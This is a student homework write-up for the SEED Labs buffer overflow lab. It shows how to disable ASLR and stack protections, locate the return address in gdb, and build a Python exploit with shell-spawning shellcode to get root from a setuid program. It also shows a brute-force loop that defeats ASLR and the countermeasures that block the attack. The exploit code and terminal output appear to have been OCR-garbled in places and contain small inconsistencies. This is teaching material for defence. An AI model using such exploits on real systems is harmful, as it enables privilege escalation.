CS166 Section-04 Mikhail Sumawan Homework 5

O1: What is Buffer Overflow Attack?

Answer: Buffer Overflow attack is a type of attack that exploits the boundary of memory processing power, a buffer overflow occurs when a program writes data outside the bounds of allocated memory. An attacker can either corrupt a program data or use buffer overflow to trigger the execution code chosen by the attacker. To put it simply, a buffer overflow attack will overwrite the memory of an application or a program which in turn, changes the execution path of the program, eventually triggering a response that damages the file data or exposes confidential information regarding the target. There are two types of buffer overflow attacks, the most common ones are called stack-based buffer overflows, and the other is heap-based buffer attacks which are more difficult to carry out.

B. Carrying Buffer Overflow Attack on SEED labs:

To perform Buffer Overflow Attack, we need to disable the Address Space Layout Randomization so we can predict where the stack in memory lies. We can do this by running this command:

```
[12/01/21]seed@VM:~$ sudo sysctl -q kernel.randomize_va_space
kernel.randomize_va_space = 0
[12/01/21]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[12/01/21]seed@VM:~$
```

And to also avoid the protection for SET-UID programs, we need to run the following command:

```
[12/01/21]seed@VM:~$ sudo rm /bin/sh
[12/01/21]seed@VM:~$ sudo ln -s /bin/zsh /bin/sh
```

SEED compiler has certain prevention to buffer overflow, in order to bypass this prevention, we need to disable the two prevention by running this shell command when executing the program using gcc:

- 1.) -fno-stack-protector: Which turns off the Stack-Guard Protection Scheme.
- 2.) -z execstack: Which makes the stack becomes executable and thus allows our program to be executed in the stack.

Task 1: Running the Shellcode

First, we need to run the file call_shellcode.c from the given file in the SEED lab using: gcc -z execstack, like so:

```
buffover call_shellcode.c exploit.c exploit.py stack.c
[12/01/21]seed@VM:~/.../HW5$ gcc -z execstack -o call_shellcode call_shellcode.c
call_shellcode.c: In function 'main':
call_shellcode.c:24:4: warning: implicit declaration of function 'strcpy' [-Wimp licit-function-declaration]
    strcpy(buf, code);

call_shellcode.c:24:4: warning: incompatible implicit declaration of built-in function 'strcpy'
call_shellcode.c:24:4: note: include '<string.h>' or provide a declaration of 's trcpy'
[12/01/21]seed@VM:~/.../HW5$
```

this will output an executable called call_shellcode, as seen here which we can run now without throwing any errors as a segmentation fault:

```
[12/01/21]seed@VM:~/.../HW5$ ls
buffover call_shellcode call_shellcode.c exploit.c exploit.py stack.c
[12/01/21]seed@VM:~/.../HW5$ ./call_shellcode
$ ■
```

Now, we can compile the given target program called stack.c while disabling the StackGuard Protection Scheme and make it executable via stack by running this command:

```
[12/01/21]seed@VM:~/.../HW5$ ls
buffover call_shellcode call shellcode.c exploit.c exploit.py stack.c
[12/01/21]seed@VM:~/.../HW5$ ll
total 28
drwxrwxr-x 2 seed seed 4096 Apr 22 2020 buffover
                                1 18:22 call shellcode
 rwxrwxr-x 1 seed seed 7388 Dec
                                  1 16:52 call shellcode.c
 rw-rw-r-- 1 seed seed
                       951 Dec
 rw-rw-r-- 1 seed seed 1260 Dec
                                  1 16:52 exploit.c
 rw-rw-r-- 1 seed seed 1020 Dec
                                  1 16:52 exploit.py
                                 1 16:52 stack.c
rw-rw-r-- 1 seed seed 977 Dec
[12/01/21]seed@VM:~/.../HW5$ gcc -o stack -z execstack -fno-stack-protector stack.c
[12/01/21]seed@VM:~/.../HW5$ ls
buffover call_shellcode.c
                                  exploit.py stack.c
call shellcode exploit.c
                                   stack
[12/\overline{0}1/21] seed@VM:~/.../HW5$ ls
buffover call shellcode call shellcode.c exploit.c
                                                        exploit.py stack
                                                                           stack.c
[12/01/21]seed@VM:~/.../HW5$ sudo chown root stack
[12/01/21]seed@VM:~/.../HW5$ sudo chmod 4755 stack
[12/01/21]seed@VM:~/.../HW5$ ls
buffover call_shellcode call shellcode.c exploit.c exploit.py stack
                                                                           stack.c
[12/01/21]seed@VM:~/.../HW5$ echo "aaa" > badfile
[12/01/21]seed@VM:~/.../HW5$ ./stack
Returned Properly
[12/01/21]seed@VM:~/.../HW5$
```

As you can see from the above screenshot, by executing the above command, the program stack made a SET-UID root program which is highlighted in red.

Task 2: Exploiting the Vulnerability

Now we can use the SET-UID program made from the last command to gain access into the root shell. We can find the address of the process somewhere in the memory since we have disabled the Address Space Layout Randomization to randomize our process. To find this address, we have to go through a debug mode which will help find the offset and the ebp which we can use later to make the right buffer payload to run our program. So, now first we need to be in the debug mode for the stack program:

```
[12/01/21]seed@VM:~/.../HW5$ gcc -z execstack -fno-stack-protector -g -o stack_debug
stack.c
[12/01/21]seed@VM:~/.../HW5$ ls
badfile call_shellcode exploit.c stack
buffover call_shellcode.c exploit.py stack.c
                                                       stack debug
[12/01/21]seed@VM:~/.../HW5$ gdb stack_debug
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <a href="http://gnu.org/licenses/gpl.html">http://gnu.org/licenses/gpl.html</a>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
or bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands {\sf related} to "word"...
Reading symbols from stack debug...done.
```

Before running the program, first create the debug using b bof to set a breakpoint:

```
Breakpoint 1 at 0x80484f1: file stack.c, line 21.
Starting program: /home/seed/Documents/HW5/stack debug
[Thread debugging using libthread db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
 AX: 0xbfffeb57 ("aaa\n")
BX: 0x0
CX: 0x804fb20 --> 0x0
DX: 0x0
SI: 0xb7f1c000 --> 0x1b1db0
DI: 0xb7f1c000 --> 0x1b1db0
BP: 0xbfffeb18 --> 0xbfffed68 --> 0x0
                               (< dl fixup+11>: add esi,0x15915)
SP: 0xbfffeaf0 -->
              (<bof+6>:
                               sub esp,0x8)
IP:
FLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
  0x80484eb <bof>:
                       push
                               ebp
  0x80484ec < bof+1>:
                       mov
                               ebp,esp
```

```
0x80484ec <bof+1>:
                      mov
                             ebp,esp
  0x80484ee <bof+3>:
                       sub
                             esp,0x28
                             esp,0x8
> 0x80484f1 <bof+6>:
                       sub
                             DWORD PTR [ebp+0x8]
  0x80484f4 <bof+9>:
                       push
                             eax, [ebp-0x20]
  0x80484f7 <bof+12>:
                       lea
  0x80484fa <bof+15>:
                       push
                             eax
  0x80484fb <bof+16>:
                                                            esi,0x15915)
0000|
                              (< dl fixup+11>:
0004| 0xbfffeaf4 --> 0x0
0012| 0xbfffeafc --> 0xb7b62940 (0xb7b62940)
0016| 0xbfffeb00 --> 0xbfffed68 --> 0x0
0020 0xbfffeb04
                              (< dl runtime resolve+16>:
                                                                    edx)
                                                             pop
0024|
                              (< GI IO fread+11>:
                                                            ebx,0x153775)
0028 | 0xbfffeb0c --> 0x0
Legend:
          de, data, rodata, value
Breakpoint 1, bof (str=0xbfffeb57 "aaa\n") at stack.c:21
21
           strcpy(buffer, str);
```

Finding the ebp and the buffer:

The frame pointer is on 0xbfffeb18 which means that the return address is stored at 0xbfffeb18 + 4, but the first address that we can jump is 0xbfffeb18 + 8. To find the location to store the ret address we can do that by finding the difference between the ret address and the buffer start address. Here, you can see that the difference is 4bytes above where the ebp pointer is, and therefore, the distance between the start of the buffer and the ret address is 36.

Now we just need to modify the exploit.py and give it the new return address and offset value from the one that we got in the last commands. My return address is BFFFEB18 + 120 = BFFFEC38 and the offset value is 16.

```
#!/usr/bin/python3
import sys
shellcode= (
   "\x31\xc0"
               # xorl
                         %eax,%eax
  "\x50"
               # pushl %eax
  "\x68""//sh" # pushl
"\x68""/bin" # pushl
"\x89\xe3" # movl
                         $0x68732f2f
                         $0x6e69622f
                         %esp,%ebx
  "\x50"  # pushl
"\x53"  # pushl
"\x89\xe1"  # movl
  "\x50"
                         %eax
                         %ebx
                         %esp,%ecx
  "\x99"
              # cdq
  "\xb0\x0b"  # movb
"\xcd\x80"  # int
                         $0x0b,%al
                         $0x80
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
# Put the shellcode at the end
start = 517 - len(shellcode)
content[start:] = shellcode
ret = 0xBFFFEC38 # replace 0xAABBCCDD with the correct value
offset = 16
                     # replace 0 with the correct value
content[offset:offset + 4] = (ret).to bytes(4,byteorder='little')
# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

Now we just need to run the python program to output the badfile, and then we can run the SET-UID program from the previous outputs as input and copy the contents into the file of the stack which will result in a buffer overflow.

```
[12/01/21]seed@VM:~/.../HW5$ chmod u+x exploit.py
[12/01/21]seed@VM:~/.../HW5$ ls
badfile
         call_shellcode
                            exploit.c
                                        peda-session-stack debug.txt
buffover call shellcode.c exploit.py
                                       stack
                                                                       stack debug
[12/01/21]seed@VM:~/.../HW5$ ll
total 56
rw-rw-r-- 1 seed seed 517 Dec 1 19:15 badfile
drwxrwxr-x 2 seed seed 4096 Apr 22  2020 <mark>buffover</mark>
                                1
rwxrwxr-x 1 seed seed 7388 Dec
                                   18:22 call_shellcode
rw-rw-r-- 1 seed seed 951 Dec
                                 1 16:52 call shellcode.c
rw-rw-r-- 1 seed seed 1260 Dec
                                1 16:52 exploit.c
rwxrw-r-- 1 seed seed 1021 Dec
                                 1 19:15 exploit.py
                         11 Dec
                                 1 18:42 peda-session-stack debug.txt
rw-rw-r-- 1 seed seed
rwsr-xr-x 1 root seed 7516 Dec
                                 1 18:29 stack
                                 1 16:52 stack.c
rw-rw-r-- 1 seed seed 977 Dec
-rwxrwxr-x 1 seed seed 9844 Dec
                                1 18:41 stack debug
[12/01/21]seed@VM:~/.../HW5$ exploit.py
[12/01/21]seed@VM:~/.../HW5$ ./stack
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sud
o),30(dip),46(plugdev),113(lpadmin),128(sambashare)
```

This output shows that I have successfully performed the buffer overflow attack and gained root privileges. However, the uid is still not equal to euid. First, I need to make another c program to turn the uid into root as well, using this c code:

```
void main() {
setuid(0);
system("/bin/sh");
[12/01/21]seed@VM:~/.../HW5$ ls
badfile
               call shellcode.c makeitroot
                                                               stack
buffover
               exploit.c
                                 makeitroot.c
                                                               stack.c
call shellcode exploit.py
                                 peda-session-stack debug.txt stack debug
[12/01/21]seed@VM:~/.../HW5$ gedit makeitroot.c
[12/01/21]seed@VM:~/.../HW5$ ./stack
uid=1000(root) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sud
o),30(dip),46(plugdev),113(lpadmin),128(sambashare)
```

Task 3: Defeating dash's Countermeasure

To defeat the dash's countermeasure, we need to change back into /bin/dash.

```
[12/01/21]seed@VM:~/.../HW5$ sudo rm /bin/sh
[12/01/21]seed@VM:~/.../HW5$ sudo ln -s /bin/dash /bin/sh
[12/01/21]seed@VM:~/.../HW5$
```

Now, I need to compile the dash_shell_test.c file and make a SET-UID root program for dash shell test.c, this is the dash shell test.c:

```
// dash_shell_test.c

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
         char *argv[2];
         argv[0] = "/bin/sh";
         argv[1] = NULL;

         // setuid(0);
         execve("/bin/sh", argv, NULL);
         return 0;
}
```

```
[12/\overline{0}1/21]seed@VM:\sim/\dots/HW5$ gcc dash shell test.c -o dash shell test
[12/01/21]seed@VM:~/.../HW5$ sudo chown root dash shell test
[12/01/21]seed@VM:~/.../HW5$ sudo chmod 4755 dash shell test
[12/01/21]seed@VM:~/.../HW5$ ll
total 80
rw-rw-r-- 1 seed seed 517 Dec 1 19:16 badfile
drwxrwxr-x 2 seed seed 4096 Apr 22 2020 buffover
rwxrwxr-x 1 seed seed 7388 Dec 1 18:22 call shellcode
rw-rw-r-- 1 seed seed 951 Dec
                               1 16:52 call shellcode.c
rwsr-xr-x 1 root seed 7404 Dec 1 21:53 dash shell test
                                1 21:51 dash shell test.c
rw-rw-r-- 1 seed seed 214 Dec
rw-rw-r-- 1 seed seed 1260 Dec
                                 1 16:52 exploit.c
rwxrw-r-- 1 seed seed 1021 Dec 1 19:15 exploit.py
rwxrwxr-x 1 seed seed 7388 Dec 1 19:21 makeitroot
rw-rw-r-- 1 seed seed
                               1 19:21 makeitroot.c
                         46 Dec
                         11 Dec 1 18:42 peda-session-stack debug.txt
rw-rw-r-- 1 seed seed
rwsr-xr-x 1 root seed 7516 Dec
                                1 18:29 stack
rw-rw-r-- 1 seed seed 977 Dec
                                 1 16:52 stack.c
rwxrwxr-x 1 seed seed 9844 Dec 1 18:41 stack debug
[12/01/21]seed@VM:~/.../HW5$
```

Running dash shell test program:

```
[12/01/21]seed@VM:~/.../HW5$ ./dash_shell_test
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46
(plugdev),113(lpadmin),128(sambashare)
$ exit
[12/01/21]seed@VM:~/.../HW5$
```

Now, Running dash_shell_test program but with removing the set uid to 0 in the running dash shell.c program:

```
[12/01/21]seed@VM:~/.../HW5$ gedit dash_shell_test.c
[12/01/21]seed@VM:~/.../HW5$ gcc dash shell test.c -o removedcommentsetuid
[12/01/21]seed@VM:~/.../HW5$ ls
                                     makeitroot
badfile
                  dash shell test
                  dash shell test.c makeitroot.c
                                                                    stack.c
buffover
call shellcode
                                     peda-session-stack debug.txt
                                                                    stack debug
                  exploit.c
call shellcode.c
                  exploit.py
                                     removedcommentsetuid
[12/01/21]seed@VM:~/.../HW5$ sudo chown root removedcommentsetuid
[12/01/21]seed@VM:~/.../HW5$ sudo chmod 4755 removedcommentsetuid
[12/01/21]seed@VM:~/.../HW5$ ls
badfile
                                     makeitroot
                                                                    stack
                  dash shell test.c
buffover
                                     makeitroot.c
                                                                    stack.c
call shellcode
                  exploit.c
                                     peda-session-stack debug.txt stack debug
call shellcode.c exploit.py
                                     removedcommentsetuid
[12/01/21]seed@VM:~/.../HW5$ ./removedcommentsetuid
# id
uid=0(root) gid=1000(seed) groups=1000(seed), 4(adm), 24(cdrom), 27(sudo), 30(dip), 46(adm)
(plugdev),113(lpadmin),128(sambashare)
# exit
```

Now, I perform a buffer overflow attack using the same method from task 2:

```
[12/01/21]seed@VM:~/.../HW5$ exploit.py
[12/01/21]seed@VM:~/.../HW5$ ls
                                     makeitroot
                                                                    stack
badfile
                  dash shell test.c
                                                                    stack.c
buffover
                                     makeitroot.c
call_shellcode
                                     peda-session-stack debug.txt
                                                                   stack debug
                  exploit.c
call shellcode.c exploit.py
                                     removedcommentsetuid
[12/01/21]seed@VM:~/.../HW5$ ./stack
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46
(plugdev),113(lpadmin),128(sambashare)
# exit
```

Task 4: Defeating Address Randomization

The failed attack caused by Address Randomization:

```
[12/01/21]seed@VM:~/.../HW5$ sudo /sbin/sysctl -w kernel.randomize va space=2
kernel.randomize va space = 2
[12/01/21]seed@VM:~/.../HW5$ ls
                                     makeitroot
badfile
                  dash shell test
                                                                    stack
buffover
                  dash shell test.c
                                                                    stack.c
                                     makeitroot.c
call_shellcode
                  exploit.c
                                     peda-session-stack debug.txt
                                                                    stack debug
call shellcode.c exploit.py
                                     removedcommentsetuid
[12/01/21]seed@VM:~/.../HW5$ ./stack
Segmentation fault
[12/01/21]seed@VM:~/.../HW5$
```

Thus, I need to run the shell script given so I can run the vulnerable program in a loop.

```
#!/bin/bash

SECONDS=0
value=0
while [ 1 ]
do
  value=$(( $value + 1 ))
duration=$SECONDS
min=$(($duration / 60))
sec=$(($duration / 60))
echo "$min minutes and $sec seconds elapsed."
echo "The program has been running $value times so far."
    ./stack
done
```

The above screenshot is the brute force file:

6(plugdev),113(lpadmin),128(sambashare)

```
[12/01/21]seed@VM:~/.../HW5$ ll
total 92
-rw-rw-r-- 1 seed seed
                        517 Dec
                                  1 22:25 badfile
rw-rw-r-- 1 seed seed 260 Dec 1 23:07 bruteattack
drwxrwxr-x 2 seed seed 4096 Apr 22 2020 buffover
rwxrwxr-x 1 seed seed 7388 Dec 1 18:22 call shellcode
rw-rw-r-- 1 seed seed 951 Dec 1 16:52 call shellcode.c
rwsr-xr-x 1 root seed 7404 Dec 1 21:53 dash shell test
                                  1 22:04 dash shell test.c
rw-rw-r-- 1 seed seed 166 Dec
rw-rw-r-- 1 seed seed 1260 Dec
                                  1 16:52 exploit.c
rwxrw-r-- 1 seed seed 1021 Dec
                                  1 19:15 exploit.py
rwxrwxr-x 1 seed seed 7388 Dec
                                  1 19:21 makeitroot
                          46 Dec
                                 1 19:21 makeitroot.c
rw-rw-r-- 1 seed seed
                                  1 18:42 peda-session-stack debug.txt
rw-rw-r-- 1 seed seed
                          11 Dec
rwsr-xr-x 1 root seed 7368 Dec
                                  1 22:04 removedcommentsetuid
rwsr-xr-x 1 root seed 7516 Dec
                                  1 18:29 stack
rw-rw-r-- 1 seed seed 977 Dec
                                 1 16:52 stack.c
rwxrwxr-x 1 seed seed 9844 Dec
                                  1 18:41 stack debug
[12/01/21]seed@VM:~/.../HW5$
./bruteattack: line 13: 32626 Segmentation fault
                                                   ./stack
7 minutes and 56 seconds elapsed.
The program has been running 156325 times so far.
./bruteattack: line 13: 32627 Segmentation fault
                                                   ./stack
7 minutes and 56 seconds elapsed.
The program has been running 156326 times so far.
./bruteattack: line 13: 32628 Segmentation fault
                                                   ./stack
7 minutes and 56 seconds elapsed.
The program has been running 156327 times so far.
./bruteattack: line 13: 32629 Segmentation fault
                                                   ./stack
7 minutes and 56 seconds elapsed.
The program has been running 156328 times so far.
./bruteattack: line 13: 32630 Segmentation fault
                                                   ./stack
7 minutes and 56 seconds elapsed.
The program has been running 156329 times so far.
# id
```

uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4

Task 5: Turn on the StackGuard Protection

Now, I need to disable the address randomization countermeasure and then compile the vulnerable program stack.c with StackGuard Protection without using the -fno-stack-protector.

```
[12/01/21]seed@VM:~/.../HW5$ sudo sysctl -w kernel.randomize va space=0
kernel.randomize va space = 0
[12/01/21]seed@VM:~/.../HW5$ gcc -z execstack -o stackwithSG stack.c
[12/01/21]seed@VM:~/.../HW5$ ll stackwithSG
rwxrwxr-x 1 seed seed 7564 Dec 1 23:14 stackwithSG
[12/01/21]seed@VM:~/.../HW5$ sudo chown root stackwithSG
[12/01/21]seed@VM:~/.../HW5$ sudo chmod 4755 stackwithSG
[12/01/21]seed@VM:~/.../HW5$ ll
total 100
rw-rw-r-- 1 seed seed
                       517 Dec
                                 1 22:25 badfile
rw-rw-r-- 1 seed seed 260 Dec
                               1 23:07 bruteforce
drwxrwxr-x 2 seed seed 4096 Apr 22
                                    2020 buffover
rwxrwxr-x 1 seed seed 7388 Dec
                                1 18:22 call shellcode
rw-rw-r-- 1 seed seed 951 Dec
                                1 16:52 call shellcode.c
rwsr-xr-x 1 root seed 7404 Dec
                                1 21:53 dash shell test
rw-rw-r-- 1 seed seed 166 Dec
                                1 22:04 dash shell test.c
rw-rw-r-- 1 seed seed 1260 Dec
                                 1 16:52 exploit.c
rwxrw-r-- 1 seed seed 1021 Dec
                                1 19:15 exploit.py
rwxrwxr-x 1 seed seed 7388 Dec
                                1 19:21 makeitroot
                         46 Dec
                                1 19:21 makeitroot.c
rw-rw-r-- 1 seed seed
                         11 Dec
                                1 18:42 peda-session-stack debug.txt
rw-rw-r-- 1 seed seed
rwsr-xr-x 1 root seed 7368 Dec
                                1 22:04 removedcommentsetuid
rwsr-xr-x 1 root seed 7516 Dec
                                1 18:29 stack
rw-rw-r-- 1 seed seed 977 Dec
                                 1 16:52 stack.c
rwxrwxr-x 1 seed seed 9844 Dec
                                 1 18:41 stack debug
rwsr-xr-x 1 root seed 7564 Dec
                                1 23:14 stackwithSG
[12/01/21]seed@VM:~/.../HW5$
```

Now, run the stack program and do a buffer overflow attack which going to fail because of the StackGuard Protection:

```
[12/01/21]seed@VM:~/.../HW5$ ./stackwithSG
*** stack smashing detected ***: ./stackwithSG terminated
Aborted
[12/01/21]seed@VM:~/.../HW5$
```

Because the StackGuard Protection is active, a buffer overflow attack will be detected and prevented.

Task 6: Turn on the Non-Executable Stack Protection

Since the address randomization is off from the previous commands, we can just compile the stack.c program again with the StackGuard Protection turned off:

```
[12/01/21]seed@VM:~/.../HW5$ gcc -o nostack -fno-stack-protector -z noexecstack stac
k.c
[12/01/21]seed@VM:~/.../HW5$ ls
badfile
           dash shell
                                    makeitroot.c
                                                                  stack.c
                 dash_shell_test.c nostack
bruteforce
                                                                  stack debug
                 exploit.c
buffover
                                    peda-session-stack debug.txt stackwithSG
call_shellcode exploit.py
                                    removedcommentsetuid
                                    stack
call shellcode.c makeitroot
[12/01/21]seed@VM:~/.../HW5$ sudo chown root nostack
[12/01/21]seed@VM:~/.../HW5$ sudo chmod 4655 nostack
[12/01/21]seed@VM:~/.../HW5$ ll nostack
rwSr-xr-x 1 root seed 7516 Dec 1 23:20 nostack
[12/01/21]seed@VM:~/.../HW5$
```

Now I can run this program which going to have a segmentation fault that shows that the buffer overflow attack failed:

```
[12/01/21]seed@VM:~/.../HW5$ ./nostack
Segmentation fault
[12/01/21]seed@VM:~/.../HW5$
```